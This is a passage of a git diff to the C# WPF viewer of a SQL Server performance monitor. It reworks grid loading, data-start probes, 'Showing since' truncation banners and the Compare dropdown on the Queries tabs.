+            UpdateTruncationBanner(ProcStatsTruncationBanner, await DataStartOrNullAsync(floorTask, "Procedure Stats"), startUtc, HourlyBannerSuffix(read.Tier, read.IoRoute, read.HourlyEdgesNote), HourlyServedOf(read.Tier, read.HourlyFirstBucket));
+            await LoadProcStatsSlicerAsync(startUtc, endUtc, slicerTask);
+        }
+        catch
+        {
+            /* #5555: the grid's own error is the one the user sees, and at once. The slicer read is still observed, so a
+               fault in it is not left unobserved, but nothing waits for it. */
+            _ = ViewerDataService.ObserveAsync(slicerTask);
+            throw;
+        }
+
+        await RefreshProcStatsComparisonAsync(startUtc, endUtc, timer);
+    }
+
+    private async Task LoadQueryStoreAsync(DateTime startUtc, DateTime endUtc, ViewerLoadTimer? timer = null)
+    {
+        timer?.Surface = "Queries > Query Store by Duration";
+        var floorTask = Timed(timer, "data start", _dataService.GetQueryStoreWindowFloorAsync(_server.ServerId, startUtc, endUtc));
         /* #3953 clause 4: only a genuine custom range is a literal end the gate must honor against
            applied_through. A preset's endUtc is GetWindowUtc()'s own DateTime.UtcNow (the viewer's clock, not
            the store's), so passing it as a literal here would send a slow-clocked viewer to raw on every
            ordinary read (M1) — null tells the gate this end is open. */
-        var (rows, widePlan) = await _dataService.GetQueryStoreTopQueriesWithReachAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter, literalEndUtc: IsCustomRange ? endUtc : null);
-        _queryStoreFilterMgr!.UpdateData(rows);
-        SetDefaultSortIfNone(QueryStoreGrid, "TotalDurationMs", ListSortDirection.Descending);
-        UpdateTruncationBanner(QueryStoreTruncationBanner, await floorTask, startUtc, widePlan: widePlan);
-        await LoadQueryStoreSlicerAsync(startUtc, endUtc);
-        await RefreshQueryStoreComparisonAsync(startUtc, endUtc);
+        var dataReadTask = Timed(timer, "grid read", _dataService.GetQueryStoreTopQueriesWithReachAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter, literalEndUtc: IsCustomRange ? endUtc : null));
+        /* Walk finding D15: the slicer's read starts beside the grid's (see LoadTopQueriesAsync). */
+        var slicerTask = Timed(timer, "slicer read", _dataService.GetQueryStoreSlicerDataAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter));
+        try
+        {
+            await AwaitReadWatchingProbeAsync(dataReadTask, floorTask, "Query Store");
+            var (rows, widePlan) = dataReadTask.Result;
+            _queryStoreFilterMgr!.UpdateData(rows);
+            SetDefaultSortIfNone(QueryStoreGrid, "TotalDurationMs", ListSortDirection.Descending);
+            UpdateTruncationBanner(QueryStoreTruncationBanner, await DataStartOrNullAsync(floorTask, "Query Store"), startUtc, widePlan: widePlan);
+            await LoadQueryStoreSlicerAsync(startUtc, endUtc, slicerTask);
+        }
+        catch
+        {
+            /* #5555: the grid's own error is the one the user sees, and at once. The slicer read is still observed, so a
+               fault in it is not left unobserved, but nothing waits for it. */
+            _ = ViewerDataService.ObserveAsync(slicerTask);
+            throw;
+        }
+
+        await RefreshQueryStoreComparisonAsync(startUtc, endUtc, timer);
     }
 
     /// <summary>
@@ -223,32 +313,66 @@ ordinary read (M1) — null tells the gate this end is open. */
     /// <paramref name="floor"/> sits past <see cref="RawWindowFloor.IsTruncated"/>'s slack after
     /// <paramref name="requestedStartUtc"/>, collapsed otherwise. The chart-title idiom
     /// (<see cref="DescribeTrendCoverage"/>) states the same fact on Performance Trends; this is its grid-header
-    /// form, in <see cref="ViewerTimeHelper.FormatForDisplay(DateTime, string)"/>'s <c>yyyy-MM-dd HH:mm</c>, the format
-    /// every trend chart title already uses for a head timestamp.
+    /// form, in <c>yyyy-MM-dd HH:mm:ss</c>, with seconds as Lite's banner has them, in the display zone and on the
+    /// invariant culture (<see cref="BannerTime"/>).
     /// </summary>
     internal static void UpdateTruncationBanner(TextBlock banner, DateTime? floor, DateTime requestedStartUtc, string? tierSuffix = null,
-        QueryStoreIntervalWide.WideReadPlan? widePlan = null)
+        HourlyServed? hourly = null, QueryStoreIntervalWide.WideReadPlan? widePlan = null)
     {
+        /* #5562 R7: every banner site's floor (the probe answer the site already awaited) also feeds the picker's "Data starts"
+           note of the tab the banner is on screen in. One feed here covers each site, the event surfaces included. */
+        ViewerDataStartNote.Feed(banner, floor);
+
         /* #4689: when the interval table served, the rows start at the plan's EffectiveStart, not at raw's
            floor. The banner names that start and the bound that set it; the slicer still reads raw, so a
-           truncated raw floor is named beside it. The raw route's banner below is unchanged. */
-        if (widePlan?.EffectiveStart is DateTime wideStart)
+           truncated raw floor is named beside it. The raw route's banner below is unchanged.
+           #5329: the same shape when the HOURLY rollups served: the grid starts at this server's first bucket
+           (the Query Stats / Procedure Stats arms' per-server probe), so "Showing since" names that start and raw's
+           floor is named as the slicer's. An hourly read that found no bucket has no start to name (the grid is
+           empty), and an hourly start inside the slack is the hour alignment alone, which the edges note states. */
+        DateTime? servedStart = widePlan?.EffectiveStart;
+        var startReason = servedStart is null ? string.Empty : QueryStoreIntervalWide.BannerReason(widePlan!.Value.StartBound);
+        var hourlyServed = servedStart is null && hourly is not null;
+        if (hourlyServed)
+        {
+            servedStart = hourly!.Value.FirstBucket;
+        }
+
+        if (servedStart is not null || hourlyServed)
         {
-            var wideTruncated = RawWindowFloor.IsTruncated(wideStart, requestedStartUtc);
+            var wideTruncated = RawWindowFloor.IsTruncated(servedStart, requestedStartUtc);
             /* The slicer and comparison read raw whatever tier served the grid, so a truncated raw floor is
                named whether or not the grid itself was cut. */
             var slicerTruncated = RawWindowFloor.IsTruncated(floor, requestedStartUtc);
             if (wideTruncated || slicerTruncated || !string.IsNullOrEmpty(tierSuffix))
             {
                 var slicerSince = slicerTruncated
-                    ? ViewerTimeHelper.FormatForDisplay(RawWindowFloor.EffectiveStart(floor, requestedStartUtc), "yyyy-MM-dd HH:mm")
+                    ? BannerTime(RawWindowFloor.EffectiveStart(floor, requestedStartUtc))
                     : null;
-                var text = wideTruncated
-                    ? $"Showing since {ViewerTimeHelper.FormatForDisplay(wideStart, "yyyy-MM-dd HH:mm")}{QueryStoreIntervalWide.BannerReason(widePlan.Value.StartBound)}"
-                        + (slicerSince is null ? string.Empty : $" · slicer since {slicerSince}")
-                    : slicerSince is null
-                        ? $"Showing {ViewerTimeHelper.FormatForDisplay(requestedStartUtc, "yyyy-MM-dd HH:mm")}"
+                /* #5329: "the grid shows the full window" is the wide plan's claim and is true only there. On the hourly
+                   route the edges note in the suffix says where the grid really starts and stops, so the claim would
+                   contradict it, and an empty grid (no bucket) has no start to name at all. */
+                string text;
+                if (wideTruncated)
+                {
+                    text = $"Showing since {BannerTime(servedStart!.Value)}{startReason}"
+                        + (slicerSince is null ? string.Empty : $" · slicer since {slicerSince}");
+                }
+                else if (hourlyServed && hourly!.Value.FirstBucket is null)
+                {
+                    text = slicerSince is null ? "No rollup bucket in the window" : $"Slicer since {slicerSince}";
+                }
+                else if (hourlyServed)
+                {
+                    text = $"Showing {BannerTime(requestedStartUtc)}"
+                        + (slicerSince is null ? string.Empty : $" · slicer since {slicerSince}");
+                }
+                else
+                {
+                    text = slicerSince is null
+                        ? $"Showing {BannerTime(requestedStartUtc)}"
                         : $"Slicer since {slicerSince} (the grid shows the full window)";
+                }
 
                 banner.Text = text + tierSuffix;
                 banner.Visibility = Visibility.Visible;
@@ -272,11 +396,59 @@ named whether or not the grid itself was cut. */
         }
 
         banner.Text = truncated
-            ? $"Showing since {ViewerTimeHelper.FormatForDisplay(RawWindowFloor.EffectiveStart(floor, requestedStartUtc), "yyyy-MM-dd HH:mm")}{tierSuffix}"
-            : $"Showing {ViewerTimeHelper.FormatForDisplay(requestedStartUtc, "yyyy-MM-dd HH:mm")}{tierSuffix}";
+            ? $"Showing since {BannerTime(RawWindowFloor.EffectiveStart(floor, requestedStartUtc))}{tierSuffix}"
+            : $"Showing {BannerTime(requestedStartUtc)}{tierSuffix}";
         banner.Visibility = Visibility.Visible;
     }
 
+    /// <summary>
+    /// The instant a "Showing since" banner names, in the display zone with the ambiguous-hour offset suffix (the same
+    /// zone and suffix <see cref="ViewerTimeHelper.FormatForDisplay(DateTime, string)"/> gives) but on the invariant
+    /// culture, as Lite's banner (<c>DisplayZone.Format</c>) and the web's notice are. A banner is one line of
+    /// disclosure, not a grid cell, and a machine whose default calendar is not the Gregorian one (Thai Buddhist,
+    /// Hijri) would otherwise print 2026 as 2569 or 1448. <c>FormatForDisplay</c> stays on the current culture on
+    /// purpose for the grids' own columns. The time carries its seconds (Lite's banner does too): a grid that reaches
+    /// back no further than its oldest row names that row, and a note in whole minutes could print the range's own
+    /// start minute for a row some seconds into it, which reads as if the grid started at the range's start.
+    /// This is the one formatter every "Showing since" note on the server tab goes through.
+    /// </summary>
+    private static string BannerTime(DateTime naiveUtc) =>
+        PerformanceMonitor.Ui.DisplayZone.Format(naiveUtc, ViewerTimeHelper.CurrentDisplayZone(), "yyyy-MM-dd HH:mm:ss");
+
+    /// <summary>
+    /// Where a data-start probe says the data starts (Active Queries, Current Waits, and the Queries tab's Query Stats,
+    /// Procedure Stats and Query Store window-floor probes: the caller starts the probe before its grid read and awaits
+    /// it here), or null when the probe throws. The probe is only the "Showing since" disclosure, so its failure must
+    /// not unwind the refresh past the slicer, the comparison or the charts that follow it: the answer goes on to
+    /// <see cref="UpdateTruncationBanner"/>, for which a null floor names no cut (the banner hides, unless the hourly-tier
+    /// suffix or the interval-table plan the Queries tab passes beside it still has something to say), the failure is
+    /// logged (<paramref name="warn"/> takes the log source and the message, <see cref="ViewerLogger.Warn"/> by
+    /// default), and the refresh goes on.
+    /// </summary>
+    internal static async Task<DateTime?> DataStartOrNullAsync(Task<DateTime?> probe, string surface, Action<string, string>? warn = null) =>
+        (await DataStartAnswerAsync(probe, surface, warn)).Start;
+
+    /// <summary>
+    /// <see cref="DataStartOrNullAsync"/> with the two kinds of nothing kept apart (#4966): a probe that found no coverage in
+    /// the window answers null with <c>Failed</c> false, and a probe that threw answers null with <c>Failed</c> true (logged
+    /// the same way). An event surface needs the difference: with no coverage it still names the earliest event it lists, and
+    /// after a failure it names nothing (<see cref="ViewerEventDataStart.Of"/>).
+    /// </summary>
+    internal static async Task<(bool Failed, DateTime? Start)> DataStartAnswerAsync(Task<DateTime?> probe, string surface, Action<string, string>? warn = null)
+    {
+        try
+        {
+            return (false, await probe);
+        }
+        catch (Exception ex)
+        {
+            (warn ?? ViewerLogger.Warn)(
+                "ViewerServerTab",
+                $"{surface}: the data-start probe failed, so no \"Showing since\" banner is shown | {ex.GetType().Name}: {ex.Message}");
+            return (true, null);
+        }
+    }
+
     /// <summary>
     /// Loads the Query Store Regressions grid — the Dashboard's regressions view (baseline-vs-recent Query
     /// Store performance) ported to Darling's store, over the toolbar's settable window. Like the Dashboard
@@ -287,11 +459,45 @@ named whether or not the grid itself was cut. */
     /// </summary>
     private async Task LoadQueryStoreRegressionsAsync(DateTime startUtc, DateTime endUtc)
     {
-        var rows = await _dataService.GetQueryStoreRegressionsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        /* #4966: the probe starts beside the read and asks about the baseline window (the data layer keys it there), and the banner
+           step compares its answer with that window's start. The rows are ranked by added duration, not by time, so they name no
+           earlier start and the cap rule does not apply. */
+        var floorTask = _dataService.GetQueryStoreRegressionsDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var floorReadTask = _dataService.GetQueryStoreRegressionsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        await AwaitReadWatchingProbeAsync(floorReadTask, floorTask, "Query Store Regressions");
+        var rows = floorReadTask.Result;
         _queryStoreRegressionsFilterMgr!.UpdateData(rows);
+        await ShowQueryStoreRegressionsDataStartAsync(QueryStoreRegressionsTruncationBanner, floorTask, startUtc);
         SetDefaultSortIfNone(QueryStoreRegressionsGrid, "DurationRegressionPercent", ListSortDirection.Descending);
     }
 
+    /// <summary>
+    /// What the Query Store Regressions grid says when it has no rows. An empty answer is not always "nothing got worse": the read
+    /// compares the range with the 7 days before it, so a range as long as the stored history (Last 7 days on a store that holds about
+    /// a week of Query Store data) has no earlier data to compare with and lists nothing, while Last 24 hours on the same store does.
+    /// The words say so, instead of the bare "No data for the selected time range.".
+    /// </summary>
+    internal const string QueryStoreRegressionsEmptyText =
+        "No regressions to show. Each query is compared with the 7 days before the selected range, so a range that reaches back to the start of the stored Query Store data has nothing earlier to compare with.";
+
+    /// <summary>
+    /// Raises or hides the "Showing since" banner of the Query Store Regressions grid (#4966). The read compares the range with
+    /// the baseline of the 7 days before it, so the notice keys on that EARLIER window: a server added two days ago covers the
+    /// range whole but has two days of baseline, not seven, and a note compared with the range's own start would stay silent. The
+    /// probe's answer (<paramref name="probe"/>, started beside the read: <see cref="ViewerDataService.GetQueryStoreRegressionsDataStartAsync"/>)
+    /// is therefore compared with <see cref="ViewerDataService.QueryStoreRegressionsBaselineStart"/> of the range's start, through
+    /// <see cref="UpdateTruncationBanner"/>. The probe is awaited through <see cref="DataStartOrNullAsync"/>, so a probe that
+    /// throws costs this banner and nothing after it. <c>internal static</c> so the store-backed tests run the same step as the tab.
+    /// </summary>
+    /// <param name="banner">The grid's banner.</param>
+    /// <param name="probe">The grid's data-start probe, started beside its read.</param>
+    /// <param name="startUtc">The start of the RANGE the grid just drew (not of its baseline).</param>
+    internal static async Task ShowQueryStoreRegressionsDataStartAsync(TextBlock banner, Task<DateTime?> probe, DateTime startUtc) =>
+        UpdateTruncationBanner(
+            banner,
+            await DataStartOrNullAsync(probe, "Query Store Regressions"),
+            ViewerDataService.QueryStoreRegressionsBaselineStart(startUtc));
+
     /// <summary>
     /// Loads the Plan Corrections grid (#1952) — the engine's own automatic plan correction recommendations
     /// over the toolbar's settable window. Like the regressions grid it has no slicer / comparison: the read
@@ -301,19 +507,29 @@ private async Task LoadQueryStoreRegressionsAsync(DateTime startUtc, DateTime en
     /// </summary>
     private async Task LoadPlanCorrectionsAsync(DateTime startUtc, DateTime endUtc)
     {
-        var rows = await _dataService.GetPlanCorrectionsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        var dataStartTask = _dataService.GetPlanCorrectionsDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var dataReadTask = _dataService.GetPlanCorrectionsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        await AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "Plan Corrections");
+        var rows = dataReadTask.Result;
         _planCorrectionFilterMgr!.UpdateData(rows);
+        /* #4966: the read keeps the newest 200 rows, and the collector re-captures every open recommendation on each cycle, so a
+           few recommendations fill the page within hours and a wide range is answered from its newest hours. A full page names its
+           oldest row, over a range the store covers too; a read under the cap names the earlier of the coverage start and the
+           earliest row shown. The rows window on collection_time, the column they show, so there is no earlier event time to name. */
+        await ShowEventDataStartAsync(PlanCorrectionsTruncationBanner, dataStartTask, "Plan Corrections", startUtc, rows.Select(r => (DateTime?)r.CollectionTime), ViewerDataService.PlanCorrectionsRowCap);
         SetDefaultSortIfNone(PlanCorrectionGrid, "Score", ListSortDirection.Descending);
     }
 
     // ── Slicers (Lite's ServerTab.Slicers.cs; the slicer sends UTC bounds, the viewer reads take naive UTC) ──
 
-    private async Task LoadQueryStatsSlicerAsync(DateTime startUtc, DateTime endUtc)
+    private async Task LoadQueryStatsSlicerAsync(DateTime startUtc, DateTime endUtc, Task<List<TimeSliceBucket>> read)
     {
-        var data = await _dataService.GetQueryStatsSlicerDataAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        var data = await read;
         _queryStatsSlicerData = data;
         _queryStatsSlicerMetric = "TotalCpu";
-        if (data.Count > 0)
+        if (data.Count == 0)
+            QueryStatsSlicer.ShowEmpty("No query statistics in the selected time window.");
+        else
             QueryStatsSlicer.LoadData(data, "Total CPU (ms)", startUtc, endUtc);
     }
 
@@ -322,9 +538,12 @@ private async void OnQueryStatsSlicerChanged(object? sender, SlicerRangeEventArg
         try
         {
             var floorTask = _dataService.GetQueryStatsWindowFloorAsync(_server.ServerId, e.StartUtc, e.EndUtc);
-            var (rows, tier) = await _dataService.GetTopQueriesByCpuTierAsync(_server.ServerId, e.StartUtc, e.EndUtc, databaseNames: SelectedDatabaseFilter);
+            var dataReadTask = _dataService.GetTopQueriesByCpuRoutedAsync(_server.ServerId, e.StartUtc, e.EndUtc, databaseNames: SelectedDatabaseFilter);
+            await AwaitReadWatchingProbeAsync(dataReadTask, floorTask, "Query Stats");
+            var read = dataReadTask.Result;
+            var rows = read.Rows;
             _queryStatsFilterMgr!.UpdateData(rows);
-            UpdateTruncationBanner(QueryStatsTruncationBanner, await floorTask, e.StartUtc, tier == "hourly" ? HourlyTierSuffix : null);
+            UpdateTruncationBanner(QueryStatsTruncationBanner, await DataStartOrNullAsync(floorTask, "Query Stats"), e.StartUtc, HourlyBannerSuffix(read.Tier, read.IoRoute, read.HourlyEdgesNote), HourlyServedOf(read.Tier, read.HourlyFirstBucket));
             await RefreshQueryStatsComparisonAsync(e.StartUtc, e.EndUtc);
         }
         catch (Exception ex)
@@ -333,12 +552,14 @@ private async void OnQueryStatsSlicerChanged(object? sender, SlicerRangeEventArg
         }
     }
 
-    private async Task LoadProcStatsSlicerAsync(DateTime startUtc, DateTime endUtc)
+    private async Task LoadProcStatsSlicerAsync(DateTime startUtc, DateTime endUtc, Task<List<TimeSliceBucket>> read)
     {
-        var data = await _dataService.GetProcStatsSlicerDataAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        var data = await read;
         _procStatsSlicerData = data;
         _procStatsSlicerMetric = "TotalCpu";
-        if (data.Count > 0)
+        if (data.Count == 0)
+            ProcStatsSlicer.ShowEmpty("No procedure statistics in the selected time window.");
+        else
             ProcStatsSlicer.LoadData(data, "Total CPU (ms)", startUtc, endUtc);
     }
 
@@ -347,9 +568,12 @@ private async void OnProcStatsSlicerChanged(object? sender, SlicerRangeEventArgs
         try
         {
             var floorTask = _dataService.GetProcedureStatsWindowFloorAsync(_server.ServerId, e.StartUtc, e.EndUtc);
-            var (rows, tier) = await _dataService.GetTopProceduresByCpuTierAsync(_server.ServerId, e.StartUtc, e.EndUtc, databaseNames: SelectedDatabaseFilter);
+            var dataReadTask = _dataService.GetTopProceduresByCpuRoutedAsync(_server.ServerId, e.StartUtc, e.EndUtc, databaseNames: SelectedDatabaseFilter);
+            await AwaitReadWatchingProbeAsync(dataReadTask, floorTask, "Procedure Stats");
+            var read = dataReadTask.Result;
+            var rows = read.Rows;
             _procStatsFilterMgr!.UpdateData(rows);
-            UpdateTruncationBanner(ProcStatsTruncationBanner, await floorTask, e.StartUtc, tier == "hourly" ? HourlyTierSuffix : null);
+            UpdateTruncationBanner(ProcStatsTruncationBanner, await DataStartOrNullAsync(floorTask, "Procedure Stats"), e.StartUtc, HourlyBannerSuffix(read.Tier, read.IoRoute, read.HourlyEdgesNote), HourlyServedOf(read.Tier, read.HourlyFirstBucket));
             await RefreshProcStatsComparisonAsync(e.StartUtc, e.EndUtc);
         }
         catch (Exception ex)
@@ -358,12 +582,14 @@ private async void OnProcStatsSlicerChanged(object? sender, SlicerRangeEventArgs
         }
     }
 
-    private async Task LoadQueryStoreSlicerAsync(DateTime startUtc, DateTime endUtc)
+    private async Task LoadQueryStoreSlicerAsync(DateTime startUtc, DateTime endUtc, Task<List<TimeSliceBucket>> read)
     {
-        var data = await _dataService.GetQueryStoreSlicerDataAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
+        var data = await read;
         _queryStoreSlicerData = data;
         _queryStoreSlicerMetric = "TotalCpu";
-        if (data.Count > 0)
+        if (data.Count == 0)
+            QueryStoreSlicer.ShowEmpty("No Query Store data in the selected time window.");
+        else
             QueryStoreSlicer.LoadData(data, "Total CPU (ms)", startUtc, endUtc);
     }
 
@@ -373,9 +599,11 @@ private async void OnQueryStoreSlicerChanged(object? sender, SlicerRangeEventArg
         {
             var floorTask = _dataService.GetQueryStoreWindowFloorAsync(_server.ServerId, e.StartUtc, e.EndUtc);
             /* #3953 clause 4: a slicer selection is always a literal, user-drawn sub-range, never a preset. */
-            var rows = await _dataService.GetQueryStoreTopQueriesAsync(_server.ServerId, e.StartUtc, e.EndUtc, databaseNames: SelectedDatabaseFilter, literalEndUtc: e.EndUtc);
+            var dataReadTask = _dataService.GetQueryStoreTopQueriesAsync(_server.ServerId, e.StartUtc, e.EndUtc, databaseNames: SelectedDatabaseFilter, literalEndUtc: e.EndUtc);
+            await AwaitReadWatchingProbeAsync(dataReadTask, floorTask, "Query Store");
+            var rows = dataReadTask.Result;
             _queryStoreFilterMgr!.UpdateData(rows);
-            UpdateTruncationBanner(QueryStoreTruncationBanner, await floorTask, e.StartUtc);
+            UpdateTruncationBanner(QueryStoreTruncationBanner, await DataStartOrNullAsync(floorTask, "Query Store"), e.StartUtc);
             await RefreshQueryStoreComparisonAsync(e.StartUtc, e.EndUtc);
         }
         catch (Exception ex)
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueriesBarCells.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueriesBarCells.cs
index a990aa5ace..208446804b 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueriesBarCells.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueriesBarCells.cs
@@ -81,7 +81,7 @@ private void RecomputeBarCellMaxes()
         BarMaxExecutions = Math.Max(1.0, items.Max(i => (double)i.TotalExecutions));
         BarMaxTotalCpu = Math.Max(1.0, items.Max(i => i.TotalCpuMs));
         BarMaxTotalElapsed = Math.Max(1.0, items.Max(i => i.TotalElapsedMs));
-        BarMaxTotalReads = Math.Max(1.0, items.Max(i => (double)i.TotalLogicalReads));
+        BarMaxTotalReads = Math.Max(1.0, items.Max(i => (double)(i.TotalLogicalReads ?? 0)));
 
         RefreshByDbCards(items);
     }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueriesComparison.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueriesComparison.cs
index ee0e9c68fc..d3c70abbff 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueriesComparison.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueriesComparison.cs
@@ -11,6 +11,7 @@
 using System.Threading.Tasks;
 using System.Windows;
 using System.Windows.Controls;
+using PerformanceMonitor.Ui;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -34,22 +35,36 @@ public partial class ViewerServerTab
     /// </summary>
     private async void CompareToCombo_SelectionChanged(object sender, SelectionChangedEventArgs e)
     {
-        if (!IsLoaded) return;
+        if (!IsLoaded || _suppressCompareRefresh) return;
 
         await RefreshActiveInnerTabAsync();
     }
 
     /// <summary>
-    /// Comparison overlays only the three grid sub-tabs (Top Queries / Top Procedures / Query Store); every
-    /// other sub-tab (Performance Trends / Active Queries / Query Heatmap from W1f-2, plus the regressions
-    /// and plan-correction grids) has no baseline overlay, so the Compare combo is reset to None and
-    /// disabled there (Lite's <c>UpdateCompareDropdownState</c>, Queries slice). Called on every sub-tab
-    /// change and once at init for the default (Performance Trends) state.
+    /// What the disabled Compare box says when the pointer rests on it (walk finding V10b: the old tooltip was never shown on a
+    /// disabled control). It names the sub-tabs <see cref="IsComparisonSupported"/> accepts.
+    /// </summary>
+    internal const string CompareUnavailableToolTip =
+        "Compare works on the Top Queries, Top Procedures and Query Store sub-tabs of Queries. It is off on this tab.";
+
+    /// <summary>
+    /// Comparison overlays only the three grid sub-tabs of Queries (Top Queries / Top Procedures / Query Store). Every other inner
+    /// tab, and every other Queries sub-tab (Performance Trends / Active Queries / Query Heatmap, plus the regressions and
+    /// plan-correction grids), has no baseline overlay. Lite's Overview tab also draws a comparison; the Viewer's does not.
+    /// </summary>
+    internal static bool IsComparisonSupported(int innerTabIndex, int queriesSubTabIndex) =>
+        innerTabIndex == QueriesInnerTabIndex
+        && queriesSubTabIndex is TopQueriesSubTabIndex or TopProceduresSubTabIndex or QueryStoreSubTabIndex;
+
+    /// <summary>
+    /// Where there is no comparison the Compare combo is reset to None and disabled (Lite's <c>UpdateCompareDropdownState</c>).
+    /// Called on every inner-tab and Queries sub-tab change and once at init for the default (Overview) state. It used to look at
+    /// the Queries sub-tab only, so after a visit to Top Queries the box stayed enabled on Wait Stats, File I/O and every other
+    /// tab where it does nothing.
     /// </summary>
     private void UpdateCompareDropdownState()
     {
-        var supported = QueriesSubTabControl.SelectedIndex
-            is TopQueriesSubTabIndex or TopProceduresSubTabIndex or QueryStoreSubTabIndex;
+        var supported = IsComparisonSupported(InnerTabs.SelectedIndex, QueriesSubTabControl.SelectedIndex);
 
         if (supported)
         {
@@ -59,13 +74,27 @@ private void UpdateCompareDropdownState()
         }
         else
         {
-            CompareToCombo.SelectedIndex = 0; /* None — no comparison on the non-grid sub-tabs */
+            /* The program writes the combo here, not the user: no reload from it. The inner-tab or sub-tab switch that called
+               this loads the tab already, and a second load for the reset would be a wasted read. */
+            var wasSuppressed = _suppressCompareRefresh;
+            _suppressCompareRefresh = true;
+            try
+            {
+                CompareToCombo.SelectedIndex = 0; /* None: no comparison here */
+            }
+            finally
+            {
+                _suppressCompareRefresh = wasSuppressed;
+            }
+
             CompareToCombo.IsEnabled = false;
             CompareToCombo.Opacity = 0.5;
-            CompareToCombo.ToolTip = "Comparison is not available for this sub-tab";
+            CompareToCombo.ToolTip = CompareUnavailableToolTip;
         }
     }
 
+    private bool _suppressCompareRefresh;
+
     /// <summary>
     /// The baseline window for the current Compare selection — a straight shift of the current window
     /// (Yesterday = -1 day, Last week / Same day last week = -7 days). Null when Compare is "None".
@@ -99,7 +128,7 @@ private void SetComparisonMode(
         }
     }
 
-    private async Task RefreshQueryStatsComparisonAsync(DateTime currentStart, DateTime currentEnd)
+    private async Task RefreshQueryStatsComparisonAsync(DateTime currentStart, DateTime currentEnd, ViewerLoadTimer? timer = null)
     {
         var baseline = GetComparisonRange(currentStart, currentEnd);
         if (baseline == null)
@@ -110,15 +139,17 @@ private async Task RefreshQueryStatsComparisonAsync(DateTime currentStart, DateT
 
         SetComparisonMode(QueryStatsGrid, QueryStatsComparisonGrid, QueryStatsComparisonBanner, active: true, baseline);
 
-        var items = await _dataService.GetQueryStatsComparisonAsync(
-            _server.ServerId, currentStart, currentEnd, baseline.Value.From, baseline.Value.To, databaseNames: SelectedDatabaseFilter);
+        var items = await Timed(timer, "comparison read", _dataService.GetQueryStatsComparisonAsync(
+            _server.ServerId, currentStart, currentEnd, baseline.Value.From, baseline.Value.To, databaseNames: SelectedDatabaseFilter));
+        /* Release walk V12d: a baseline period the store holds nothing for (Yesterday on a store a few hours old) says so. */
+        QueryStatsComparisonBanner.Text = ComparisonBaselineNote.Banner(QueryStatsComparisonBanner.Text, items);
         QueryStatsComparisonGrid.ItemsSource = items
             .OrderBy(x => x.SortGroup)
             .ThenByDescending(x => x.SortableDurationDelta)
             .ToList();
     }
 
-    private async Task RefreshProcStatsComparisonAsync(DateTime currentStart, DateTime currentEnd)
+    private async Task RefreshProcStatsComparisonAsync(DateTime currentStart, DateTime currentEnd, ViewerLoadTimer? timer = null)
     {
         var baseline = GetComparisonRange(currentStart, currentEnd);
         if (baseline == null)
@@ -129,15 +160,17 @@ private async Task RefreshProcStatsComparisonAsync(DateTime currentStart, DateTi
 
         SetComparisonMode(ProcedureStatsGrid, ProcStatsComparisonGrid, ProcStatsComparisonBanner, active: true, baseline);
 
-        var items = await _dataService.GetProcedureStatsComparisonAsync(
-            _server.ServerId, currentStart, currentEnd, baseline.Value.From, baseline.Value.To, databaseNames: SelectedDatabaseFilter);
+        var items = await Timed(timer, "comparison read", _dataService.GetProcedureStatsComparisonAsync(
+            _server.ServerId, currentStart, currentEnd, baseline.Value.From, baseline.Value.To, databaseNames: SelectedDatabaseFilter));
+        /* Release walk V12d: a baseline period the store holds nothing for (Yesterday on a store a few hours old) says so. */
+        ProcStatsComparisonBanner.Text = ComparisonBaselineNote.Banner(ProcStatsComparisonBanner.Text, items);
         ProcStatsComparisonGrid.ItemsSource = items
             .OrderBy(x => x.SortGroup)
             .ThenByDescending(x => x.SortableDurationDelta)
             .ToList();
     }
 
-    private async Task RefreshQueryStoreComparisonAsync(DateTime currentStart, DateTime currentEnd)
+    private async Task RefreshQueryStoreComparisonAsync(DateTime currentStart, DateTime currentEnd, ViewerLoadTimer? timer = null)
     {
         var baseline = GetComparisonRange(currentStart, currentEnd);
         if (baseline == null)
@@ -148,8 +181,10 @@ private async Task RefreshQueryStoreComparisonAsync(DateTime currentStart, DateT
 
         SetComparisonMode(QueryStoreGrid, QueryStoreComparisonGrid, QueryStoreComparisonBanner, active: true, baseline);
 
-        var items = await _dataService.GetQueryStoreComparisonAsync(
-            _server.ServerId, currentStart, currentEnd, baseline.Value.From, baseline.Value.To, databaseNames: SelectedDatabaseFilter);
+        var items = await Timed(timer, "comparison read", _dataService.GetQueryStoreComparisonAsync(
+            _server.ServerId, currentStart, currentEnd, baseline.Value.From, baseline.Value.To, databaseNames: SelectedDatabaseFilter));
+        /* Release walk V12d: a baseline period the store holds nothing for (Yesterday on a store a few hours old) says so. */
+        QueryStoreComparisonBanner.Text = ComparisonBaselineNote.Banner(QueryStoreComparisonBanner.Text, items);
         QueryStoreComparisonGrid.ItemsSource = items
             .OrderBy(x => x.SortGroup)
             .ThenByDescending(x => x.SortableDurationDelta)
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryHeatmap.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryHeatmap.cs
index 81aad3a05c..aa48958eac 100644
